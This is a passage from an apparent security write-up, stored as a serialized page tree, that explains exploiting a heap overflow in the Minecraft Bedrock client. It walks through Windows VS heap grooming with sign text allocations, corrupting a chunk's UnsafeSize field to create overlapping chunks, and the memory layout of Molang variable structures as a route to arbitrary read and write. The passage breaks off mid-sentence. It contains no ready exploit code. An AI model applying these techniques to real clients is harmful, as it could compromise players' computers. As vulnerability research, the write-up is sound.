size:",{"type":20,"tag":29,"props":150329,"children":150330},{},[150331],{"type":20,"tag":2308,"props":150332,"children":150334},{"alt":48830,"src":150333},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":20,"tag":17197,"props":150336,"children":150337},{},[],{"type":20,"tag":29,"props":150339,"children":150340},{},[150341],{"type":26,"value":150342},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":20,"tag":29,"props":150344,"children":150345},{},[150346],{"type":26,"value":150347},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":20,"tag":219,"props":150349,"children":150351},{"id":150350},"overlapping-heap-chunks",[150352],{"type":26,"value":150353},"Overlapping Heap Chunks",{"type":20,"tag":29,"props":150355,"children":150356},{},[150357,150359,150364],{"type":26,"value":150358},"The attack is described in detail in the referenced blog post (",{"type":20,"tag":35,"props":150360,"children":150362},{"href":148167,"rel":150361},[39],[150363],{"type":26,"value":45835},{"type":26,"value":150365},"), so we will present a high-level overview.",{"type":20,"tag":29,"props":150367,"children":150368},{},[150369,150371,150377],{"type":26,"value":150370},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":20,"tag":119,"props":150372,"children":150374},{"className":150373},[],[150375],{"type":26,"value":150376},"_HEAP_VS_CHUNK_HEADER",{"type":26,"value":150378}," structure layout is required:",{"type":20,"tag":305,"props":150380,"children":150382},{"code":150381}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[150383],{"type":20,"tag":119,"props":150384,"children":150385},{"__ignoreMap":7},[150386],{"type":26,"value":150381},{"type":20,"tag":29,"props":150388,"children":150389},{},[150390,150392,150398,150400,150406,150407,150413,150414,150420,150422,150427,150429,150434,150436,150442,150444,150449,150451,150457],{"type":26,"value":150391},"At offset 0 there is a header ",{"type":20,"tag":119,"props":150393,"children":150395},{"className":150394},[],[150396],{"type":26,"value":150397},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":26,"value":150399}," containing fields such as ",{"type":20,"tag":119,"props":150401,"children":150403},{"className":150402},[],[150404],{"type":26,"value":150405},"MemoryCost",{"type":26,"value":44},{"type":20,"tag":119,"props":150408,"children":150410},{"className":150409},[],[150411],{"type":26,"value":150412},"UnsafeSize",{"type":26,"value":44},{"type":20,"tag":119,"props":150415,"children":150417},{"className":150416},[],[150418],{"type":26,"value":150419},"UnsafePrevSize",{"type":26,"value":150421},", etc. For the attack we only care about the ",{"type":20,"tag":119,"props":150423,"children":150425},{"className":150424},[],[150426],{"type":26,"value":150412},{"type":26,"value":150428}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":20,"tag":119,"props":150430,"children":150432},{"className":150431},[],[150433],{"type":26,"value":124695},{"type":26,"value":150435},", so for a chunk of size ",{"type":20,"tag":119,"props":150437,"children":150439},{"className":150438},[],[150440],{"type":26,"value":150441},"0x4010",{"type":26,"value":150443}," the value of ",{"type":20,"tag":119,"props":150445,"children":150447},{"className":150446},[],[150448],{"type":26,"value":150412},{"type":26,"value":150450}," would be ",{"type":20,"tag":119,"props":150452,"children":150454},{"className":150453},[],[150455],{"type":26,"value":150456},"0x401",{"type":26,"value":61},{"type":20,"tag":29,"props":150459,"children":150460},{},[150461,150462,150467],{"type":26,"value":62471},{"type":20,"tag":119,"props":150463,"children":150465},{"className":150464},[],[150466],{"type":26,"value":150412},{"type":26,"value":150468}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":20,"tag":29,"props":150470,"children":150471},{},[150472,150474,150479,150481,150486,150488,150494,150496,150501],{"type":26,"value":150473},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":20,"tag":119,"props":150475,"children":150477},{"className":150476},[],[150478],{"type":26,"value":150412},{"type":26,"value":150480}," in the smallest possible VS chunk (",{"type":20,"tag":119,"props":150482,"children":150484},{"className":150483},[],[150485],{"type":26,"value":150441},{"type":26,"value":150487},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":20,"tag":119,"props":150489,"children":150491},{"className":150490},[],[150492],{"type":26,"value":150493},"[0x10, 0xffff0]",{"type":26,"value":150495}," range, the probability that it exceeds ",{"type":20,"tag":119,"props":150497,"children":150499},{"className":150498},[],[150500],{"type":26,"value":150441},{"type":26,"value":150502}," is:",{"type":20,"tag":305,"props":150504,"children":150506},{"code":150505},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[150507],{"type":20,"tag":119,"props":150508,"children":150509},{"__ignoreMap":7},[150510],{"type":26,"value":150505},{"type":20,"tag":29,"props":150512,"children":150513},{},[150514],{"type":26,"value":150515},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":20,"tag":29,"props":150517,"children":150518},{},[150519],{"type":26,"value":150520},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":20,"tag":17297,"props":150522,"children":150524},{"id":150523},"overlap-attack-overview",[150525],{"type":26,"value":150526},"Overlap Attack Overview",{"type":20,"tag":29,"props":150528,"children":150529},{},[150530,150532,150537],{"type":26,"value":150531},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":20,"tag":119,"props":150533,"children":150535},{"className":150534},[],[150536],{"type":26,"value":124718},{"type":26,"value":150538}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":20,"tag":29,"props":150540,"children":150541},{},[150542,150544,150549,150551,150556],{"type":26,"value":150543},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":20,"tag":119,"props":150545,"children":150547},{"className":150546},[],[150548],{"type":26,"value":146426},{"type":26,"value":150550},"-sized chunks in the free list that we want to avoid. If a ",{"type":20,"tag":119,"props":150552,"children":150554},{"className":150553},[],[150555],{"type":26,"value":146426},{"type":26,"value":150557},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":20,"tag":29,"props":150559,"children":150560},{},[150561,150563,150568],{"type":26,"value":150562},"To remove those ",{"type":20,"tag":119,"props":150564,"children":150566},{"className":150565},[],[150567],{"type":26,"value":146426},{"type":26,"value":150569},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":20,"tag":29,"props":150571,"children":150572},{},[150573],{"type":26,"value":150574},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":20,"tag":305,"props":150576,"children":150578},{"code":150577},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[150579],{"type":20,"tag":119,"props":150580,"children":150581},{"__ignoreMap":7},[150582],{"type":26,"value":150577},{"type":20,"tag":29,"props":150584,"children":150585},{},[150586,150588,150593,150595,150600],{"type":26,"value":150587},"Next we create ",{"type":20,"tag":55,"props":150589,"children":150590},{},[150591],{"type":26,"value":150592},"holes",{"type":26,"value":150594}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":20,"tag":119,"props":150596,"children":150598},{"className":150597},[],[150599],{"type":26,"value":146426},{"type":26,"value":150601},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":20,"tag":305,"props":150603,"children":150605},{"code":150604}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[150606],{"type":20,"tag":119,"props":150607,"children":150608},{"__ignoreMap":7},[150609],{"type":26,"value":150604},{"type":20,"tag":29,"props":150611,"children":150612},{},[150613,150615,150620,150622,150627],{"type":26,"value":150614},"When a ",{"type":20,"tag":119,"props":150616,"children":150618},{"className":150617},[],[150619],{"type":26,"value":146426},{"type":26,"value":150621}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":20,"tag":119,"props":150623,"children":150625},{"className":150624},[],[150626],{"type":26,"value":150412},{"type":26,"value":150628}," field will be overwritten:",{"type":20,"tag":305,"props":150630,"children":150632},{"code":150631}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[150633],{"type":20,"tag":119,"props":150634,"children":150635},{"__ignoreMap":7},[150636],{"type":26,"value":150631},{"type":20,"tag":29,"props":150638,"children":150639},{},[150640,150642,150647,150649,150654,150656,150661],{"type":26,"value":150641},"Once ",{"type":20,"tag":119,"props":150643,"children":150645},{"className":150644},[],[150646],{"type":26,"value":150412},{"type":26,"value":150648}," has been overwritten, ",{"type":20,"tag":119,"props":150650,"children":150652},{"className":150651},[],[150653],{"type":26,"value":146426},{"type":26,"value":150655}," allocation is freed immediately after, restoring the previous layout but with ",{"type":20,"tag":119,"props":150657,"children":150659},{"className":150658},[],[150660],{"type":26,"value":150412},{"type":26,"value":150662}," field corrupted:",{"type":20,"tag":305,"props":150664,"children":150666},{"code":150665}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[150667],{"type":20,"tag":119,"props":150668,"children":150669},{"__ignoreMap":7},[150670],{"type":26,"value":150665},{"type":20,"tag":29,"props":150672,"children":150673},{},[150674],{"type":26,"value":150675},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":20,"tag":305,"props":150677,"children":150679},{"code":150678}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[150680],{"type":20,"tag":119,"props":150681,"children":150682},{"__ignoreMap":7},[150683],{"type":26,"value":150678},{"type":20,"tag":29,"props":150685,"children":150686},{},[150687],{"type":26,"value":150688},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":20,"tag":305,"props":150690,"children":150692},{"code":150691}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[150693],{"type":20,"tag":119,"props":150694,"children":150695},{"__ignoreMap":7},[150696],{"type":26,"value":150691},{"type":20,"tag":17197,"props":150698,"children":150699},{},[],{"type":20,"tag":29,"props":150701,"children":150702},{},[150703],{"type":26,"value":150704},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":20,"tag":29,"props":150706,"children":150707},{},[150708],{"type":26,"value":150709},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":20,"tag":219,"props":150711,"children":150713},{"id":150712},"molang",[150714],{"type":26,"value":150715},"Molang",{"type":20,"tag":29,"props":150717,"children":150718},{},[150719,150721,150728],{"type":26,"value":150720},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":20,"tag":35,"props":150722,"children":150725},{"href":150723,"rel":150724},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[39],[150726],{"type":26,"value":150727},"syntax guide",{"type":26,"value":61},{"type":20,"tag":29,"props":150730,"children":150731},{},[150732,150734,150739,150740,150745],{"type":26,"value":150733},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":20,"tag":119,"props":150735,"children":150737},{"className":150736},[],[150738],{"type":26,"value":538},{"type":26,"value":9392},{"type":20,"tag":119,"props":150741,"children":150743},{"className":150742},[],[150744],{"type":26,"value":14089},{"type":26,"value":150746}," operators are supported.",{"type":20,"tag":29,"props":150748,"children":150749},{},[150750,150752,150758,150760,150765,150767,150772,150773,150778,150779],{"type":26,"value":150751},"Variables are defined by prepending ",{"type":20,"tag":119,"props":150753,"children":150755},{"className":150754},[],[150756],{"type":26,"value":150757},"variable.",{"type":26,"value":150759}," to the name and assigning a value. For example, to define ",{"type":20,"tag":119,"props":150761,"children":150763},{"className":150762},[],[150764],{"type":26,"value":7480},{"type":26,"value":150766}," as the sum of ",{"type":20,"tag":119,"props":150768,"children":150770},{"className":150769},[],[150771],{"type":26,"value":35},{"type":26,"value":9392},{"type":20,"tag":119,"props":150774,"children":150776},{"className":150775},[],[150777],{"type":26,"value":1604},{"type":26,"value":13732},{"type":20,"tag":119,"props":150780,"children":150782},{"className":150781},[],[150783],{"type":26,"value":150784},"variable.result = variable.a + variable.b;",{"type":20,"tag":29,"props":150786,"children":150787},{},[150788,150790,150795,150796,150801,150802,150807,150808,150813],{"type":26,"value":150789},"Logical operators such as ",{"type":20,"tag":119,"props":150791,"children":150793},{"className":150792},[],[150794],{"type":26,"value":20823},{"type":26,"value":44},{"type":20,"tag":119,"props":150797,"children":150799},{"className":150798},[],[150800],{"type":26,"value":71453},{"type":26,"value":44},{"type":20,"tag":119,"props":150803,"children":150805},{"className":150804},[],[150806],{"type":26,"value":4199},{"type":26,"value":44},{"type":20,"tag":119,"props":150809,"children":150811},{"className":150810},[],[150812],{"type":26,"value":8862},{"type":26,"value":150814},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":20,"tag":305,"props":150816,"children":150818},{"code":150817},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[150819],{"type":20,"tag":119,"props":150820,"children":150821},{"__ignoreMap":7},[150822],{"type":26,"value":150817},{"type":20,"tag":29,"props":150824,"children":150825},{},[150826],{"type":26,"value":150827},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":20,"tag":17297,"props":150829,"children":150831},{"id":150830},"molang-internals",[150832],{"type":26,"value":150833},"Molang Internals",{"type":20,"tag":29,"props":150835,"children":150836},{},[150837],{"type":26,"value":150838},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":20,"tag":29,"props":150840,"children":150841},{},[150842],{"type":26,"value":150843},"Below we describe the structures involved and their memory layout.",{"type":20,"tag":17297,"props":150845,"children":150847},{"id":150846},"molangvariable-and-molangscriptarg",[150848],{"type":26,"value":150849},"MolangVariable and MolangScriptArg",{"type":20,"tag":29,"props":150851,"children":150852},{},[150853,150854,150860],{"type":26,"value":100609},{"type":20,"tag":119,"props":150855,"children":150857},{"className":150856},[],[150858],{"type":26,"value":150859},"MolangVariable",{"type":26,"value":150861}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":20,"tag":305,"props":150863,"children":150865},{"code":150864,"language":1528,"meta":7,"className":14916,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[150866],{"type":20,"tag":119,"props":150867,"children":150868},{"__ignoreMap":7},[150869,150881,150888,150900,150913,150921,150928,150935,150947,150960,150972,151002,151010,151017,151024],{"type":20,"tag":315,"props":150870,"children":150871},{"class":317,"line":318},[150872,150876],{"type":20,"tag":315,"props":150873,"children":150874},{"style":541},[150875],{"type":26,"value":7800},{"type":20,"tag":315,"props":150877,"children":150878},{"style":328},[150879],{"type":26,"value":150880}," MolangVariable {\n",{"type":20,"tag":315,"props":150882,"children":150883},{"class":317,"line":356},[150884],{"type":20,"tag":315,"props":150885,"children":150886},{"style":328},[150887],{"type":26,"value":60040},{"type":20,"tag":315,"props":150889,"children":150890},{"class":317,"line":365},[150891,150895],{"type":20,"tag":315,"props":150892,"children":150893},{"style":541},[150894],{"type":26,"value":4446},{"type":20,"tag":315,"props":150896,"children":150897},{"style":328},[150898],{"type":26,"value":150899}," HashedString {\n",{"type":20,"tag":315,"props":150901,"children":150902},{"class":317,"line":374},[150903,150908],{"type":20,"tag":315,"props":150904,"children":150905},{"style":541},[150906],{"type":26,"value":150907}," uint64_t",{"type":20,"tag":315,"props":150909,"children":150910},{"style":328},[150911],{"type":26,"value":150912}," variable_name_hash;\n",{"type":20,"tag":315,"props":150914,"children":150915},{"class":317,"line":383},[150916],{"type":20,"tag":315,"props":150917,"children":150918},{"style":328},[150919],{"type":26,"value":150920}," std::string variable_name;\n",{"type":20,"tag":315,"props":150922,"children":150923},{"class":317,"line":407},[150924],{"type":20,"tag":315,"props":150925,"children":150926},{"style":328},[150927],{"type":26,"value":37413},{"type":20,"tag":315,"props":150929,"children":150930},{"class":317,"line":421},[150931],{"type":20,"tag":315,"props":150932,"children":150933},{"style":328},[150934],{"type":26,"value":60040},{"type":20,"tag":315,"props":150936,"children":150937},{"class":317,"line":430},[150938,150942],{"type":20,"tag":315,"props":150939,"children":150940},{"style":541},[150941],{"type":26,"value":4446},{"type":20,"tag":315,"props":150943,"children":150944},{"style":328},[150945],{"type":26,"value":150946}," MolangScriptArg {\n",{"type":20,"tag":315,"props":150948,"children":150949},{"class":317,"line":453},[150950,150955],{"type":20,"tag":315,"props":150951,"children":150952},{"style":541},[150953],{"type":26,"value":150954}," uint32_t",{"type":20,"tag":315,"props":150956,"children":150957},{"style":328},[150958],{"type":26,"value":150959}," value_type;\n",{"type":20,"tag":315,"props":150961,"children":150962},{"class":317,"line":486},[150963,150967],{"type":20,"tag":315,"props":150964,"children":150965},{"style":541},[150966],{"type":26,"value":150907},{"type":20,"tag":315,"props":150968,"children":150969},{"style":328},[150970],{"type":26,"value":150971}," value;\n",{"type":20,"tag":315,"props":150973,"children":150974},{"class":317,"line":499},[150975,150980,150984,150988,150993,150997],{"type":20,"tag":315,"props":150976,"children":150977},{"style":328},[150978],{"type":26,"value":150979}," std::vector",{"type":20,"tag":315,"props":150981,"children":150982},{"style":334},[150983],{"type":26,"value":4199},{"type":20,"tag":315,"props":150985,"children":150986},{"style":541},[150987],{"type":26,"value":7800},{"type":20,"tag":315,"props":150989,"children":150990},{"style":328},[150991],{"type":26,"value":150992}," MolangScriptArg",{"type":20,"tag":315,"props":150994,"children":150995},{"style":334},[150996],{"type":26,"value":8862},{"type":20,"tag":315,"props":150998,"children":150999},{"style":328},[151000],{"type":26,"value":151001}," struct_fields;\n",{"type":20,"tag":315,"props":151003,"children":151004},{"class":317,"line":513},[151005],{"type":20,"tag":315,"props":151006,"children":151007},{"style":328},[151008],{"type":26,"value":151009}," \n",{"type":20,"tag":315,"props":151011,"children":151012},{"class":317,"line":521},[151013],{"type":20,"tag":315,"props":151014,"children":151015},{"style":328},[151016],{"type":26,"value":122297},{"type":20,"tag":315,"props":151018,"children":151019},{"class":317,"line":552},[151020],{"type":20,"tag":315,"props":151021,"children":151022},{"style":328},[151023],{"type":26,"value":37413},{"type":20,"tag":315,"props":151025,"children":151026},{"class":317,"line":571},[151027],{"type":20,"tag":315,"props":151028,"children":151029},{"style":328},[151030],{"type":26,"value":14979},{"type":20,"tag":29,"props":151032,"children":151033},{},[151034,151036,151041],{"type":26,"value":151035},"In memory a ",{"type":20,"tag":119,"props":151037,"children":151039},{"className":151038},[],[151040],{"type":26,"value":150859},{"type":26,"value":151042}," instance resembles:",{"type":20,"tag":305,"props":151044,"children":151046},{"code":151045}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[151047],{"type":20,"tag":119,"props":151048,"children":151049},{"__ignoreMap":7},[151050],{"type":26,"value":151045},{"type":20,"tag":29,"props":151052,"children":151053},{},[151054],{"type":26,"value":151055},"For reference, example debugger view of the layout:",{"type":20,"tag":29,"props":151057,"children":151058},{},[151059],{"type":20,"tag":2308,"props":151060,"children":151062},{"alt":48830,"src":151061},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":20,"tag":29,"props":151064,"children":151065},{},[151066],{"type":26,"value":151067},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":20,"tag":29,"props":151069,"children":151070},{},[151071,151073,151079,151081,151086,151088,151094,151096,151101,151102,151107,151109,151114,151115,151121,151122,151128],{"type":26,"value":151072},"We only care about the ",{"type":20,"tag":119,"props":151074,"children":151076},{"className":151075},[],[151077],{"type":26,"value":151078},"MolangScriptArg",{"type":26,"value":151080}," beginning at offset ",{"type":20,"tag":119,"props":151082,"children":151084},{"className":151083},[],[151085],{"type":26,"value":127176},{"type":26,"value":151087}," because it contains variable values. In the screenshot above, the ",{"type":20,"tag":119,"props":151089,"children":151091},{"className":151090},[],[151092],{"type":26,"value":151093},"value_type",{"type":26,"value":151095}," at ",{"type":20,"tag":119,"props":151097,"children":151099},{"className":151098},[],[151100],{"type":26,"value":127176},{"type":26,"value":3894},{"type":20,"tag":119,"props":151103,"children":151105},{"className":151104},[],[151106],{"type":26,"value":1063},{"type":26,"value":151108}," (meaning float), and the ",{"type":20,"tag":119,"props":151110,"children":151112},{"className":151111},[],[151113],{"type":26,"value":37568},{"type":26,"value":151095},{"type":20,"tag":119,"props":151116,"children":151118},{"className":151117},[],[151119],{"type":26,"value":151120},"0x38",{"type":26,"value":3894},{"type":20,"tag":119,"props":151123,"children":151125},{"className":151124},[],[151126],{"type":26,"value":151127},"0xbf2070c8",{"type":26,"value":61},{"type":20,"tag":29,"props":151130,"children":151131},{},[151132,151134,151140,151142,151147,151149,151154,151155,151160,151162,151167,151169,151174],{"type":26,"value":151133},"During assignment, such as ",{"type":20,"tag":119,"props":151135,"children":151137},{"className":151136},[],[151138],{"type":26,"value":151139},"variable.a = variable.b",{"type":26,"value":151141},", each field of ",{"type":20,"tag":119,"props":151143,"children":151145},{"className":151144},[],[151146],{"type":26,"value":151078},{"type":26,"value":151148}," is copied from variable ",{"type":20,"tag":119,"props":151150,"children":151152},{"className":151151},[],[151153],{"type":26,"value":1604},{"type":26,"value":55029},{"type":20,"tag":119,"props":151156,"children":151158},{"className":151157},[],[151159],{"type":26,"value":35},{"type":26,"value":151161},". Interestingly, the ",{"type":20,"tag":119,"props":151163,"children":151165},{"className":151164},[],[151166],{"type":26,"value":37568},{"type":26,"value":151168}," field is always copied as a ",{"type":20,"tag":119,"props":151170,"children":151172},{"className":151171},[],[151173],{"type":26,"value":53887},{"type":26,"value":151175}," even if the type is a 32-bit float.",{"type":20,"tag":29,"props":151177,"children":151178},{},[151179,151181,151187],{"type":26,"value":151180},"Each entity stores its variables in a per-entity vector called ",{"type":20,"tag":119,"props":151182,"children":151184},{"className":151183},[],[151185],{"type":26,"value":151186},"MolangVariableMap",{"type":26,"value":61},{"type":20,"tag":17297,"props":151189,"children":151191},{"id":151190},"molangvariablemap",[151192],{"type":26,"value":151186},{"type":20,"tag":29,"props":151194,"children":151195},{},[151196,151201,151203,151209,151211,151217],{"type":20,"tag":119,"props":151197,"children":151199},{"className":151198},[],[151200],{"type":26,"value":151186},{"type":26,"value":151202}," is simply a ",{"type":20,"tag":119,"props":151204,"children":151206},{"className":151205},[],[151207],{"type":26,"value":151208},"std::vector\u003CMolangVariable *>",{"type":26,"value":151210}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":20,"tag":119,"props":151212,"children":151214},{"className":151213},[],[151215],{"type":26,"value":151216},"std::vector",{"type":26,"value":151218}," layout:",{"type":20,"tag":305,"props":151220,"children":151222},{"code":151221,"language":1528,"meta":7,"className":14916,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[151223],{"type":20,"tag":119,"props":151224,"children":151225},{"__ignoreMap":7},[151226,151238,151254,151270,151286],{"type":20,"tag":315,"props":151227,"children":151228},{"class":317,"line":318},[151229,151233],{"type":20,"tag":315,"props":151230,"children":151231},{"style":541},[151232],{"type":26,"value":7800},{"type":20,"tag":315,"props":151234,"children":151235},{"style":328},[151236],{"type":26,"value":151237}," vector {\n",{"type":20,"tag":315,"props":151239,"children":151240},{"class":317,"line":356},[151241,151245,151249],{"type":20,"tag":315,"props":151242,"children":151243},{"style":541},[151244],{"type":26,"value":14949},{"type":20,"tag":315,"props":151246,"children":151247},{"style":334},[151248],{"type":26,"value":8216},{"type":20,"tag":315,"props":151250,"children":151251},{"style":328},[151252],{"type":26,"value":151253},"buf;\n",{"type":20,"tag":315,"props":151255,"children":151256},{"class":317,"line":365},[151257,151261,151265],{"type":20,"tag":315,"props":151258,"children":151259},{"style":541},[151260],{"type":26,"value":14949},{"type":20,"tag":315,"props":151262,"children":151263},{"style":334},[151264],{"type":26,"value":8216},{"type":20,"tag":315,"props":151266,"children":151267},{"style":328},[151268],{"type":26,"value":151269},"len;\n",{"type":20,"tag":315,"props":151271,"children":151272},{"class":317,"line":374},[151273,151277,151281],{"type":20,"tag":315,"props":151274,"children":151275},{"style":541},[151276],{"type":26,"value":14949},{"type":20,"tag":315,"props":151278,"children":151279},{"style":334},[151280],{"type":26,"value":8216},{"type":20,"tag":315,"props":151282,"children":151283},{"style":328},[151284],{"type":26,"value":151285},"cap;\n",{"type":20,"tag":315,"props":151287,"children":151288},{"class":317,"line":383},[151289],{"type":20,"tag":315,"props":151290,"children":151291},{"style":328},[151292],{"type":26,"value":14979},{"type":20,"tag":29,"props":151294,"children":151295},{},[151296,151301,151303,151308,151310,151316,151318,151323,151324,151329],{"type":20,"tag":119,"props":151297,"children":151299},{"className":151298},[],[151300],{"type":26,"value":148382},{"type":26,"value":151302}," points to the allocated array of elements, ",{"type":20,"tag":119,"props":151304,"children":151306},{"className":151305},[],[151307],{"type":26,"value":7537},{"type":26,"value":151309}," points just past the last used element, and ",{"type":20,"tag":119,"props":151311,"children":151313},{"className":151312},[],[151314],{"type":26,"value":151315},"cap",{"type":26,"value":151317}," points to the end of the allocated buffer. Notably, the types of ",{"type":20,"tag":119,"props":151319,"children":151321},{"className":151320},[],[151322],{"type":26,"value":7537},{"type":26,"value":9392},{"type":20,"tag":119,"props":151325,"children":151327},{"className":151326},[],[151328],{"type":26,"value":151315},{"type":26,"value":151330}," aren't typical integer types for sizes, but both are pointers.",{"type":20,"tag":29,"props":151332,"children":151333},{},[151334],{"type":26,"value":151335},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":20,"tag":305,"props":151337,"children":151339},{"code":151338},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[151340],{"type":20,"tag":119,"props":151341,"children":151342},{"__ignoreMap":7},[151343],{"type":26,"value":151338},{"type":20,"tag":29,"props":151345,"children":151346},{},[151347,151349,151355,151357,151363],{"type":26,"value":151348},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":20,"tag":119,"props":151350,"children":151352},{"className":151351},[],[151353],{"type":26,"value":151354},"variable.result",{"type":26,"value":151356},") may differ between entities. To get around this, ",{"type":20,"tag":119,"props":151358,"children":151360},{"className":151359},[],[151361],{"type":26,"value":151362},"MolangIndexMap",{"type":26,"value":151364}," is used to map a global variable name to the correct per-entity slot.",{"type":20,"tag":17297,"props":151366,"children":151368},{"id":151367},"molangindexmap",[151369],{"type":26,"value":151362},{"type":20,"tag":29,"props":151371,"children":151372},{},[151373,151378,151380,151386,151388,151394],{"type":20,"tag":119,"props":151374,"children":151376},{"className":151375},[],[151377],{"type":26,"value":151362},{"type":26,"value":151379}," is a per-entity ",{"type":20,"tag":119,"props":151381,"children":151383},{"className":151382},[],[151384],{"type":26,"value":151385},"std::vector\u003Cuint16_t>",{"type":26,"value":151387},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":20,"tag":119,"props":151389,"children":151391},{"className":151390},[],[151392],{"type":26,"value":151393},"variable.result = 0",{"type":26,"value":151395}," it:",{"type":20,"tag":68,"props":151397,"children":151398},{},[151399,151409,151419],{"type":20,"tag":72,"props":151400,"children":151401},{},[151402,151404],{"type":26,"value":151403},"Checks the global hashmap for ",{"type":20,"tag":119,"props":151405,"children":151407},{"className":151406},[],[151408],{"type":26,"value":7480},{"type":20,"tag":72,"props":151410,"children":151411},{},[151412,151414],{"type":26,"value":151413},"If found, uses the global index to look up the per-entity index in 